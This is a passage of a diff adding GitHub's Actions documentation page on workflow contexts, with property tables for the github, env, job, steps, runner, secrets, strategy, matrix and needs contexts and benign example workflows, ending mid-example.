+| <code>jobs.&lt;job_id&gt;.timeout-minutes</code> | <code>github, needs, strategy, matrix, inputs</code> | |
+| <code>jobs.&lt;job_id&gt;.with.&lt;with_id&gt;</code> | <code>github, needs{% ifversion actions-reusable-workflow-matrix %}, strategy, matrix{% endif %}{% ifversion actions-unified-inputs %}, inputs{% endif %}</code> | |
+| <code>on.workflow_call.inputs.&lt;inputs_id&gt;.default</code> | <code>github{% ifversion actions-unified-inputs %}, inputs{% endif %}</code> | |
+| <code>on.workflow_call.outputs.&lt;output_id&gt;.value</code> | <code>github, jobs, inputs</code> | |
+{% else %}
+| Path | Context | Special functions |
+| ---- | ------- | ----------------- |
+| <code>concurrency</code> | <code>github</code> | |
+| <code>env</code> | <code>github, secrets</code> | |
+| <code>jobs.&lt;job_id&gt;.concurrency</code> | <code>github, needs, strategy, matrix</code> | |
+| <code>jobs.&lt;job_id&gt;.container</code> | <code>github, needs, strategy, matrix</code> | |
+| <code>jobs.&lt;job_id&gt;.container.credentials</code> | <code>github, needs, strategy, matrix, env, secrets</code> | |
+| <code>jobs.&lt;job_id&gt;.container.env.&lt;env_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets</code> | |
+| <code>jobs.&lt;job_id&gt;.continue-on-error</code> | <code>github, needs, strategy, matrix</code> | |
+| <code>jobs.&lt;job_id&gt;.defaults.run</code> | <code>github, needs, strategy, matrix, env</code> | |
+| <code>jobs.&lt;job_id&gt;.env</code> | <code>github, needs, strategy, matrix, secrets</code> | |
+| <code>jobs.&lt;job_id&gt;.environment</code> | <code>github, needs, strategy, matrix</code> | |
+| <code>jobs.&lt;job_id&gt;.environment.url</code> | <code>github, needs, strategy, matrix, job, runner, env, steps</code> | |
+| <code>jobs.&lt;job_id&gt;.if</code> | <code>github, needs</code> | <code>always, cancelled, success, failure</code> |
+| <code>jobs.&lt;job_id&gt;.name</code> | <code>github, needs, strategy, matrix</code> | |
+| <code>jobs.&lt;job_id&gt;.outputs.&lt;output_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> | |
+| <code>jobs.&lt;job_id&gt;.runs-on</code> | <code>github, needs, strategy, matrix</code> | |
+| <code>jobs.&lt;job_id&gt;.services</code> | <code>github, needs, strategy, matrix</code> | |
+| <code>jobs.&lt;job_id&gt;.services.&lt;service_id&gt;.credentials</code> | <code>github, needs, strategy, matrix, env, secrets</code> | |
+| <code>jobs.&lt;job_id&gt;.services.&lt;service_id&gt;.env.&lt;env_id&gt;</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets</code> | |
+| <code>jobs.&lt;job_id&gt;.steps.continue-on-error</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> | <code>hashFiles</code> |
+| <code>jobs.&lt;job_id&gt;.steps.env</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> | <code>hashFiles</code> |
+| <code>jobs.&lt;job_id&gt;.steps.if</code> | <code>github, needs, strategy, matrix, job, runner, env, steps</code> | <code>always, cancelled, success, failure, hashFiles</code> |
+| <code>jobs.&lt;job_id&gt;.steps.name</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> | <code>hashFiles</code> |
+| <code>jobs.&lt;job_id&gt;.steps.run</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> | <code>hashFiles</code> |
+| <code>jobs.&lt;job_id&gt;.steps.timeout-minutes</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> | <code>hashFiles</code> |
+| <code>jobs.&lt;job_id&gt;.steps.with</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> | <code>hashFiles</code> |
+| <code>jobs.&lt;job_id&gt;.steps.working-directory</code> | <code>github, needs, strategy, matrix, job, runner, env, secrets, steps</code> | <code>hashFiles</code> |
+| <code>jobs.&lt;job_id&gt;.strategy</code> | <code>github, needs</code> | |
+| <code>jobs.&lt;job_id&gt;.timeout-minutes</code> | <code>github, needs, strategy, matrix</code> | |
+{% endif %}
+
+### Example: printing context information to the log
+
+You can print the contents of contexts to the log for debugging. The [`toJSON` function](/actions/learn-github-actions/expressions#tojson) is required to pretty-print JSON objects to the log.
+
+{% data reusables.actions.github-context-warning %}
+
+{% raw %}
+```yaml{:copy}
+name: Context testing
+on: push
+
+jobs:
+  dump_contexts_to_log:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Dump GitHub context
+        id: github_context_step
+        run: echo '${{ toJSON(github) }}'
+      - name: Dump job context
+        run: echo '${{ toJSON(job) }}'
+      - name: Dump steps context
+        run: echo '${{ toJSON(steps) }}'
+      - name: Dump runner context
+        run: echo '${{ toJSON(runner) }}'
+      - name: Dump strategy context
+        run: echo '${{ toJSON(strategy) }}'
+      - name: Dump matrix context
+        run: echo '${{ toJSON(matrix) }}'
+```
+{% endraw %}
+
+## `github` context
+
+The `github` context contains information about the workflow run and the event that triggered the run. You can also read most of the `github` context data in environment variables. For more information about environment variables, see "[Using environment variables](/actions/automating-your-workflow-with-github-actions/using-environment-variables)."
+
+{% data reusables.actions.github-context-warning %}
+{% data reusables.actions.context-injection-warning %}
+
+| Property name | Type | Description |
+|---------------|------|-------------|
+| `github` | `object` | The top-level context available during any job or step in a workflow. This object contains all the properties listed below. |
+| `github.action` | `string` | The name of the action currently running, or the [`id`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsid) of a step. {% data variables.product.prodname_dotcom %} removes special characters, and uses the name `__run` when the current step runs a script without an `id`. If you use the same action more than once in the same job, the name will include a suffix with the sequence number with underscore before it. For example, the first script you run will have the name `__run`, and the second script will be named `__run_2`. Similarly, the second invocation of `actions/checkout` will be `actionscheckout2`. |
+| `github.action_path` | `string` | The path where an action is located. This property is only supported in composite actions. You can use this path to access files located in the same repository as the action. |
+| `github.action_ref` | `string` | For a step executing an action, this is the ref of the action being executed. For example, `v2`. |
+| `github.action_repository` | `string` | For a step executing an action, this is the owner and repository name of the action. For example, `actions/checkout`. |
+| `github.action_status` | `string` | For a composite action, the current result of the composite action. |
+| `github.actor` | `string` | {% ifversion actions-stable-actor-ids %}The username of the user that triggered the initial workflow run. If the workflow run is a re-run, this value may differ from `github.triggering_actor`. Any workflow re-runs will use the privileges of `github.actor`, even if the actor initiating the re-run (`github.triggering_actor`) has different privileges.{% else %}The username of the user that initiated the workflow run.{% endif %} |
+| `github.api_url` | `string` | The URL of the {% data variables.product.prodname_dotcom %} REST API. |
+| `github.base_ref` | `string` | The `base_ref` or target branch of the pull request in a workflow run. This property is only available when the event that triggers a workflow run is either `pull_request` or `pull_request_target`. |
+| `github.env` | `string` | Path on the runner to the file that sets environment variables from workflow commands. This file is unique to the current step and is a different file for each step in a job. For more information, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-commands-for-github-actions#setting-an-environment-variable)." |
+| `github.event` | `object` | The full event webhook payload. You can access individual properties of the event using this context. This object is identical to the webhook payload of the event that triggered the workflow run, and is different for each event. The webhooks for each {% data variables.product.prodname_actions %} event is linked in "[Events that trigger workflows](/articles/events-that-trigger-workflows/)." For example, for a workflow run triggered by the [`push` event](/actions/using-workflows/events-that-trigger-workflows#push), this object contains the contents of the [push webhook payload](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#push). |
+| `github.event_name` | `string` | The name of the event that triggered the workflow run. |
+| `github.event_path` | `string` | The path to the file on the runner that contains the full event webhook payload. |
+| `github.graphql_url` | `string` | The URL of the {% data variables.product.prodname_dotcom %} GraphQL API. |
+| `github.head_ref` | `string` | The `head_ref` or source branch of the pull request in a workflow run. This property is only available when the event that triggers a workflow run is either `pull_request` or `pull_request_target`. |
+| `github.job` | `string` | The [`job_id`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_id) of the current job. <br /> Note: This context property is set by the Actions runner, and is only available within the execution `steps` of a job. Otherwise, the value of this property will be `null`. |
+| `github.ref` | `string` | {% data reusables.actions.ref-description %} |
+{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+| `github.ref_name` | `string` | {% data reusables.actions.ref_name-description %} |
+| `github.ref_protected` | `boolean` | {% data reusables.actions.ref_protected-description %} |
+| `github.ref_type` | `string` | {% data reusables.actions.ref_type-description %} |
+{%- endif %}
+| `github.path` | `string` | Path on the runner to the file that sets system `PATH` variables from workflow commands. This file is unique to the current step and is a different file for each step in a job. For more information, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-commands-for-github-actions#adding-a-system-path)." |
+| `github.repository` | `string` | The owner and repository name. For example, `Codertocat/Hello-World`. |
+| `github.repository_owner` | `string` | The repository owner's name. For example, `Codertocat`. |
+| `github.repositoryUrl` | `string` | The Git URL to the repository. For example, `git://github.com/codertocat/hello-world.git`. |
+| `github.retention_days` | `string` | The number of days that workflow run logs and artifacts are kept. |
+| `github.run_id` | `string` | {% data reusables.actions.run_id_description %} |
+| `github.run_number` | `string` | {% data reusables.actions.run_number_description %} |
+{%- ifversion fpt or ghec or ghes > 3.5 or ghae > 3.4 %}
+| `github.run_attempt` | `string` | A unique number for each attempt of a particular workflow run in a repository. This number begins at 1 for the workflow run's first attempt, and increments with each re-run. |
+{%- endif %}
+{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+| `github.secret_source` | `string` | The source of a secret used in a workflow. Possible values are `None`, `Actions`, `Dependabot`, or `Codespaces`. |
+{%- endif %}
+| `github.server_url` | `string` | The URL of the GitHub server. For example: `https://github.com`. |
+| `github.sha` | `string` | {% data reusables.actions.github_sha_description %} |
+| `github.token` | `string` | A token to authenticate on behalf of the GitHub App installed on your repository. This is functionally equivalent to the `GITHUB_TOKEN` secret. For more information, see "[Automatic token authentication](/actions/security-guides/automatic-token-authentication)."  <br /> Note: This context property is set by the Actions runner, and is only available within the execution `steps` of a job. Otherwise, the value of this property will be `null`. |{% ifversion actions-stable-actor-ids %}
+| `github.triggering_actor` | `string` | The username of the user that initiated the workflow run. If the workflow run is a re-run, this value may differ from `github.actor`. Any workflow re-runs will use the privileges of `github.actor`, even if the actor initiating the re-run (`github.triggering_actor`) has different privileges. |{% endif %}
+| `github.workflow` | `string` | The name of the workflow. If the workflow file doesn't specify a `name`, the value of this property is the full path of the workflow file in the repository. |
+| `github.workspace` | `string` | The default working directory on the runner for steps, and the default location of your repository when using the [`checkout`](https://github.com/actions/checkout) action. |
+
+### Example contents of the `github` context
+
+The following example context is from a workflow run triggered by the `push` event. The `event` object in this example has been truncated because it is identical to the contents of the [`push` webhook payload](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#push).
+
+{% data reusables.actions.context-example-note %}
+
+```json
+{
+  "token": "***",
+  "job": "dump_contexts_to_log",
+  "ref": "refs/heads/my_branch",
+  "sha": "c27d339ee6075c1f744c5d4b200f7901aad2c369",
+  "repository": "octocat/hello-world",
+  "repository_owner": "octocat",
+  "repositoryUrl": "git://github.com/octocat/hello-world.git",
+  "run_id": "1536140711",
+  "run_number": "314",
+  "retention_days": "90",
+  "run_attempt": "1",
+  "actor": "octocat",
+  "workflow": "Context testing",
+  "head_ref": "",
+  "base_ref": "",
+  "event_name": "push",
+  "event": {
+    ...
+  },
+  "server_url": "https://github.com",
+  "api_url": "https://api.github.com",
+  "graphql_url": "https://api.github.com/graphql",
+  "ref_name": "my_branch",
+  "ref_protected": false,
+  "ref_type": "branch",
+  "secret_source": "Actions",
+  "workspace": "/home/runner/work/hello-world/hello-world",
+  "action": "github_step",
+  "event_path": "/home/runner/work/_temp/_github_workflow/event.json",
+  "action_repository": "",
+  "action_ref": "",
+  "path": "/home/runner/work/_temp/_runner_file_commands/add_path_b037e7b5-1c88-48e2-bf78-eaaab5e02602",
+  "env": "/home/runner/work/_temp/_runner_file_commands/set_env_b037e7b5-1c88-48e2-bf78-eaaab5e02602"
+}
+```
+
+### Example usage of the `github` context
+
+This example workflow uses the `github.event_name` context to run a job only if the workflow run was triggered by the `pull_request` event.
+
+```yaml{:copy}
+name: Run CI
+on: [push, pull_request]
+
+jobs:
+  normal_ci:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Run normal CI
+        run: ./run-tests
+
+  pull_request_ci:
+    runs-on: ubuntu-latest
+    if: {% raw %}${{ github.event_name == 'pull_request' }}{% endraw %}
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Run PR CI
+        run: ./run-additional-pr-ci
+```
+
+## `env` context
+
+The `env` context contains environment variables that have been set in a workflow, job, or step. For more information about setting environment variables in your workflow, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#env)."
+
+The `env` context syntax allows you to use the value of an environment variable in your workflow file. You can use the `env` context in the value of any key in a step except for the `id` and `uses` keys. For more information on the step syntax, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps)."
+
+If you want to use the value of an environment variable inside a runner, use the runner operating system's normal method for reading environment variables.
+
+| Property name | Type | Description |
+|---------------|------|-------------|
+| `env` | `object` | This context changes for each step in a job. You can access this context from any step in a job. This object contains the properties listed below. |
+| `env.<env_name>` | `string` | The value of a specific environment variable. |
+
+### Example contents of the `env` context
+
+The contents of the `env` context is a mapping of environment variable names to their values. The context's contents can change depending on where it is used in the workflow run.
+
+```json
+{
+  "first_name": "Mona",
+  "super_duper_var": "totally_awesome"
+}
+```
+
+### Example usage of the `env` context
+
+This example workflow shows how the `env` context can be configured at the workflow, job, and step levels, as well as using the context in steps.
+
+{% data reusables.repositories.actions-env-var-note %}
+
+{% raw %}
+```yaml{:copy}
+name: Hi Mascot
+on: push
+env:
+  mascot: Mona
+  super_duper_var: totally_awesome
+
+jobs:
+  windows_job:
+    runs-on: windows-latest
+    steps:
+      - run: echo 'Hi ${{ env.mascot }}'  # Hi Mona
+      - run: echo 'Hi ${{ env.mascot }}'  # Hi Octocat
+        env:
+          mascot: Octocat
+  linux_job:
+    runs-on: ubuntu-latest
+    env:
+      mascot: Tux
+    steps:
+      - run: echo 'Hi ${{ env.mascot }}'  # Hi Tux
+```
+{% endraw %}
+
+## `job` context
+
+The `job` context contains information about the currently running job.
+
+| Property name | Type | Description |
+|---------------|------|-------------|
+| `job` | `object` | This context changes for each job in a workflow run. You can access this context from any step in a job. This object contains all the properties listed below. |
+| `job.container` | `object` | Information about the job's container. For more information about containers, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#jobsjob_idcontainer)." |
+| `job.container.id` | `string` | The ID of the container. |
+| `job.container.network` | `string` | The ID of the container network. The runner creates the network used by all containers in a job. |
+| `job.services` | `object` | The service containers created for a job. For more information about service containers, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#jobsjob_idservices)." |
+| `job.services.<service_id>.id` | `string` | The ID of the service container. |
+| `job.services.<service_id>.network` | `string` | The ID of the service container network. The runner creates the network used by all containers in a job. |
+| `job.services.<service_id>.ports` | `object` | The exposed ports of the service container. |
+| `job.status` | `string` | The current status of the job. Possible values are `success`, `failure`, or `cancelled`. |
+
+### Example contents of the `job` context
+
+This example `job` context uses a PostgreSQL service container with mapped ports. If there are no containers or service containers used in a job, the `job` context only contains the `status` property.
+
+```json
+{
+  "status": "success",
+  "container": {
+    "network": "github_network_53269bd575974817b43f4733536b200c"
+  },
+  "services": {
+    "postgres": {
+      "id": "60972d9aa486605e66b0dad4abb638dc3d9116f566579e418166eedb8abb9105",
+      "ports": {
+        "5432": "49153"
+      },
+      "network": "github_network_53269bd575974817b43f4733536b200c"
+    }
+  }
+}
+```
+
+### Example usage of the `job` context
+
+This example workflow configures a PostgreSQL service container, and automatically maps port 5432 in the service container to a randomly chosen available port on the host. The `job` context is used to access the number of the port that was assigned on the host.
+
+```yaml{:copy}
+name: PostgreSQL Service Example
+on: push
+jobs:
+  postgres-job:
+    runs-on: ubuntu-latest
+    services:
+      postgres:
+        image: postgres
+        env:
+          POSTGRES_PASSWORD: postgres
+        options: --health-cmd pg_isready --health-interval 10s --health-timeout 5s --health-retries 5
+        ports:
+          # Maps TCP port 5432 in the service container to a randomly chosen available port on the host.
+          - 5432
+
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - run: pg_isready -h localhost -p {% raw %}${{ job.services.postgres.ports[5432] }}{% endraw %}
+      - run: ./run-tests
+```
+
+{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}
+
+## `jobs` context
+
+The `jobs` context is only available in reusable workflows, and can only be used to set outputs for a reusable workflow. For more information, see "[Reusing workflows](/actions/using-workflows/reusing-workflows#using-outputs-from-a-reusable-workflow)."
+
+| Property name | Type | Description |
+|---------------|------|-------------|
+| `jobs` | `object` | This is only available in reusable workflows, and can only be used to set outputs for a reusable workflow. This object contains all the properties listed below.
+| `jobs.<job_id>.result` | `string` | The result of a job in the reusable workflow. Possible values are `success`, `failure`, `cancelled`, or `skipped`. |
+| `jobs.<job_id>.outputs` | `object` | The set of outputs of a job in a reusable workflow. |
+| `jobs.<job_id>.outputs.<output_name>` | `string` | The value of a specific output for a job in a reusable workflow. |
+
+### Example contents of the `jobs` context
+
+This example `jobs` context contains the result and outputs of a job from a reusable workflow run.
+
+```json
+{
+  "example_job": {
+    "result": "success",
+    "outputs": {
+      "output1": "hello",
+      "output2": "world"
+    }
+  }
+}
+```
+
+### Example usage of the `jobs` context
+
+This example reusable workflow uses the `jobs` context to set outputs for the reusable workflow. Note how the outputs flow up from the steps, to the job, then to the `workflow_call` trigger. For more information, see "[Reusing workflows](/actions/using-workflows/reusing-workflows#using-outputs-from-a-reusable-workflow)."
+
+{% raw %}
+```yaml{:copy}
+name: Reusable workflow
+
+on:
+  workflow_call:
+    # Map the workflow outputs to job outputs
+    outputs:
+      firstword:
+        description: "The first output string"
+        value: ${{ jobs.example_job.outputs.output1 }}
+      secondword:
+        description: "The second output string"
+        value: ${{ jobs.example_job.outputs.output2 }}
+
+jobs:
+  example_job:
+    name: Generate output
+    runs-on: ubuntu-latest
+    # Map the job outputs to step outputs
+    outputs:
+      output1: ${{ steps.step1.outputs.firstword }}
+      output2: ${{ steps.step2.outputs.secondword }}
+    steps:
+      - id: step1{% endraw %}
+{%- ifversion actions-save-state-set-output-envs %}
+        run: echo "firstword=hello" >> $GITHUB_OUTPUT
+{%- else %}
+        run: echo "::set-output name=firstword::hello"
+{%- endif %}{% raw %}
+      - id: step2{% endraw %}
+{%- ifversion actions-save-state-set-output-envs %}
+        run: echo "secondword=world" >> $GITHUB_OUTPUT
+{%- else %}
+        run: echo "::set-output name=secondword::world"
+{%- endif %}{% raw %}
+```
+{% endraw %}
+
+{% endif %}
+
+## `steps` context
+
+The `steps` context contains information about the steps in the current job that have an [`id`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsid) specified and have already run.
+
+| Property name | Type | Description |
+|---------------|------|-------------|
+| `steps` | `object` | This context changes for each step in a job. You can access this context from any step in a job. This object contains all the properties listed below. |
+| `steps.<step_id>.outputs` | `object` | The set of outputs defined for the step. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions#outputs-for-docker-container-and-javascript-actions)." |
+| `steps.<step_id>.conclusion` | `string` | The result of a completed step after [`continue-on-error`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepscontinue-on-error) is applied. Possible values are `success`, `failure`, `cancelled`, or `skipped`. When a `continue-on-error` step fails, the `outcome` is `failure`, but the final `conclusion` is `success`. |
+| `steps.<step_id>.outcome` | `string` | The result of a completed step before [`continue-on-error`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepscontinue-on-error) is applied. Possible values are `success`, `failure`, `cancelled`, or `skipped`. When a `continue-on-error` step fails, the `outcome` is `failure`, but the final `conclusion` is `success`. |
+| `steps.<step_id>.outputs.<output_name>` | `string` | The value of a specific output. |
+
+### Example contents of the `steps` context
+
+This example `steps` context shows two previous steps that had an [`id`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsid) specified. The first step had the `id` named `checkout`, the second `generate_number`. The `generate_number` step had an output named `random_number`.
+
+```json
+{
+  "checkout": {
+    "outputs": {},
+    "outcome": "success",
+    "conclusion": "success"
+  },
+  "generate_number": {
+    "outputs": {
+      "random_number": "1"
+    },
+    "outcome": "success",
+    "conclusion": "success"
+  }
+}
+```
+
+### Example usage of the `steps` context
+
+This example workflow generates a random number as an output in one step, and a later step uses the `steps` context to read the value of that output.
+
+```yaml{:copy}
+name: Generate random failure
+on: push
+jobs:
+  randomly-failing-job:
+    runs-on: ubuntu-latest
+    steps:
+      - id: checkout
+        uses: {% data reusables.actions.action-checkout %}
+      - name: Generate 0 or 1
+        id: generate_number
+{%- ifversion actions-save-state-set-output-envs %}
+        run:  echo "random_number=$(($RANDOM % 2))" >> $GITHUB_OUTPUT
+{%- else %}
+        run:  echo "::set-output name=random_number::$(($RANDOM % 2))"
+{%- endif %}
+      - name: Pass or fail
+        run: |
+          if [[ {% raw %}${{ steps.generate_number.outputs.random_number }}{% endraw %} == 0 ]]; then exit 0; else exit 1; fi
+```
+
+## `runner` context
+
+The `runner` context contains information about the runner that is executing the current job.
+
+| Property name | Type | Description |
+|---------------|------|-------------|
+| `runner` | `object` | This context changes for each job in a workflow run. This object contains all the properties listed below. |
+| `runner.name` | `string` | {% data reusables.actions.runner-name-description %} |
+| `runner.os` | `string` | {% data reusables.actions.runner-os-description %} |{% ifversion actions-runner-arch-envvars %}
+| `runner.arch` | `string` | {% data reusables.actions.runner-arch-description %} |{% endif %}
+| `runner.temp` | `string` | {% data reusables.actions.runner-temp-directory-description %} |
+| `runner.tool_cache` | `string` | {% ifversion ghae %}{% data reusables.actions.self-hosted-runners-software %} {% else %} {% data reusables.actions.runner-tool-cache-description %} {% endif %}|
+| `runner.debug` | `string` | {% data reusables.actions.runner-debug-description %} |
+
+{%- comment %}
+The `runner.workspace` property is purposefully not documented. It is an early Actions property that now isn't relevant for users, compared to `github.workspace`. It is kept around for compatibility.
+| `runner.workspace` | `string` | |
+{%- endcomment %}
+
+### Example contents of the `runner` context
+
+The following example context is from a Linux {% data variables.product.prodname_dotcom %}-hosted runner.
+
+```json
+{
+  "os": "Linux",
+  "arch": "X64",
+  "name": "GitHub Actions 2",
+  "tool_cache": "/opt/hostedtoolcache",
+  "temp": "/home/runner/work/_temp"
+  {%- comment %}
+  # The `runner.workspace` property is purposefully not documented. It is an early Actions property that now isn't relevant for users, compared to `github.workspace`. It is kept around for compatibility.
+  "workspace": "/home/runner/work/hello-world"
+  {%- endcomment %}
+}
+```
+
+### Example usage of the `runner` context
+
+This example workflow uses the `runner` context to set the path to the temporary directory to write logs, and if the workflow fails, it uploads those logs as artifact.
+
+```yaml{:copy}
+name: Build
+on: push
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Build with logs
+        run: |
+          mkdir {% raw %}${{ runner.temp }}{% endraw %}/build_logs
+          ./build.sh --log-path {% raw %}${{ runner.temp }}{% endraw %}/build_logs
+      - name: Upload logs on fail
+        if: {% raw %}${{ failure() }}{% endraw %}
+        uses: {% data reusables.actions.action-upload-artifact %}
+        with:
+          name: Build failure logs
+          path: {% raw %}${{ runner.temp }}{% endraw %}/build_logs
+```
+
+## `secrets` context
+
+The `secrets` context contains the names and values of secrets that are available to a workflow run. The `secrets` context is not available for composite actions due to security reasons. If you want to pass a secret to a composite action, you need to do it explicitly as an input. For more information about secrets, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)."
+
+`GITHUB_TOKEN` is a secret that is automatically created for every workflow run, and is always included in the `secrets` context. For more information, see "[Automatic token authentication](/actions/security-guides/automatic-token-authentication)."
+
+{% data reusables.actions.secrets-redaction-warning %}
+
+| Property name | Type | Description |
+|---------------|------|-------------|
+| `secrets` | `object` | This context is the same for each job in a workflow run. You can access this context from any step in a job. This object contains all the properties listed below. |
+| `secrets.GITHUB_TOKEN` | `string` | Automatically created token for each workflow run. For more information, see "[Automatic token authentication](/actions/security-guides/automatic-token-authentication)." |
+| `secrets.<secret_name>` | `string` | The value of a specific secret. |
+
+### Example contents of the `secrets` context
+
+The following example contents of the `secrets` context shows the automatic `GITHUB_TOKEN`, as well as two other secrets available to the workflow run.
+
+```json
+{
+  "github_token": "***",
+  "NPM_TOKEN": "***",
+  "SUPERSECRET": "***"
+}
+```
+
+### Example usage of the `secrets` context
+
+{% data reusables.actions.github_token-input-example %}
+
+## `strategy` context
+
+For workflows with a matrix, the `strategy` context contains information about the matrix execution strategy for the current job.
+
+| Property name | Type | Description |
+|---------------|------|-------------|
+| `strategy` | `object` | This context changes for each job in a workflow run. You can access this context from any job or step in a workflow. This object contains all the properties listed below. |
+| `strategy.fail-fast` | `boolean` | When `true`, all in-progress jobs are canceled if any job in a matrix fails. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategyfail-fast)." |
+| `strategy.job-index` | `number` | The index of the current job in the matrix. **Note:** This number is a zero-based number. The first job's index in the matrix is `0`. |
+| `strategy.job-total` | `number` | The total number of jobs in the matrix. **Note:** This number **is not** a zero-based number. For example, for a matrix with four jobs, the value of `job-total` is `4`. |
+| `strategy.max-parallel` | `number` | The maximum number of jobs that can run simultaneously when using a `matrix` job strategy. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymax-parallel)." |
+
+### Example contents of the `strategy` context
+
+The following example contents of the `strategy` context is from a matrix with four jobs, and is taken from the final job. Note the difference between the zero-based `job-index` number, and `job-total` which is not zero-based.
+
+```json
+{
+  "fail-fast": true,
+  "job-index": 3,
+  "job-total": 4,
+  "max-parallel": 4
+}
+```
+
+### Example usage of the `strategy` context
+
+This example workflow uses the `strategy.job-index` property to set a unique name for a log file for each job in a matrix.
+
+```yaml{:copy}
+name: Test matrix
+on: push
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    strategy:
+      matrix:
+        test-group: [1, 2]
+        node: [14, 16]
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - run: npm test > test-job-{% raw %}${{ strategy.job-index }}{% endraw %}.txt
+      - name: Upload logs
+        uses: {% data reusables.actions.action-upload-artifact %}
+        with:
+          name: Build log for job {% raw %}${{ strategy.job-index }}{% endraw %}
+          path: test-job-{% raw %}${{ strategy.job-index }}{% endraw %}.txt
+```
+
+## `matrix` context
+
+For workflows with a matrix, the `matrix` context contains the matrix properties defined in the workflow file that apply to the current job. For example, if you configure a matrix with the `os` and `node` keys, the `matrix` context object includes the `os` and `node` properties with the values that are being used for the current job.
+
+There are no standard properties in the `matrix` context, only those which are defined in the workflow file.
+
+| Property name | Type | Description |
+|---------------|------|-------------|
+| `matrix` | `object` | This context is only available for jobs in a matrix, and changes for each job in a workflow run. You can access this context from any job or step in a workflow. This object contains the properties listed below. |
+| `matrix.<property_name>` | `string` | The value of a matrix property. |
+
+### Example contents of the `matrix` context
+
+The following example contents of the `matrix` context is from a job in a matrix that has the `os` and `node` matrix properties defined in the workflow. The job is executing the matrix combination of an `ubuntu-latest` OS and Node.js version `16`.
+
+```json
+{
+  "os": "ubuntu-latest",
+  "node": 16
+}
+```
+
+### Example usage of the `matrix` context
+
+This example workflow creates a matrix with `os` and `node` keys. It uses the `matrix.os` property to set the runner type for each job, and uses the `matrix.node` property to set the Node.js version for each job.
+
+```yaml{:copy}
+name: Test matrix
+on: push
+
+jobs:
+  build:
+    runs-on: {% raw %}${{ matrix.os }}{% endraw %}
+    strategy:
+      matrix:
+        os: [ubuntu-latest, windows-latest]
+        node: [14, 16]
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - uses: {% data reusables.actions.action-setup-node %}
+        with:
+          node-version: {% raw %}${{ matrix.node }}{% endraw %}
+      - name: Install dependencies
+        run: npm ci
+      - name: Run tests
+        run: npm test
+```
+
+## `needs` context
+
+The `needs` context contains outputs from all jobs that are defined as a direct dependency of the current job. Note that this doesn't include implicitly dependent jobs (for example, dependent jobs of a dependent job). For more information on defining job dependencies, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idneeds)."
+
+| Property name | Type | Description |
+|---------------|------|-------------|
+| `needs` | `object` | This context is only populated for workflow runs that have dependent jobs, and changes for each job in a workflow run. You can access this context from any job or step in a workflow. This object contains all the properties listed below. |
+| `needs.<job_id>` | `object` | A single job that the current job depends on. |
+| `needs.<job_id>.outputs` | `object` | The set of outputs of a job that the current job depends on. |
+| `needs.<job_id>.outputs.<output name>` | `string` | The value of a specific output for a job that the current job depends on. |
+| `needs.<job_id>.result` | `string` | The result of a job that the current job depends on. Possible values are `success`, `failure`, `cancelled`, or `skipped`. |
+
+### Example contents of the `needs` context
+
+The following example contents of the `needs` context shows information for two jobs that the current job depends on.
+
+```json
+{
+  "build": {
+    "result": "success",
+    "outputs": {
+      "build_id": "ABC123"
+    }
+  },
+  "deploy": {
+    "result": "failure",
+    "outputs": {}
+  }
+}
+```
+
+### Example usage of the `needs` context
+
+This example workflow has three jobs: a `build` job that does a build, a `deploy` job that requires the `build` job, and a `debug` job that requires both the `build` and `deploy` jobs and runs only if there is a failure in the workflow. The `deploy` job also uses the `needs` context to access an output from the `build` job.
+
+```yaml{:copy}
+name: Build and deploy
+on: push
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    outputs:
+      build_id: {% raw %}${{ steps.build_step.outputs.build_id }}{% endraw %}
+    steps:
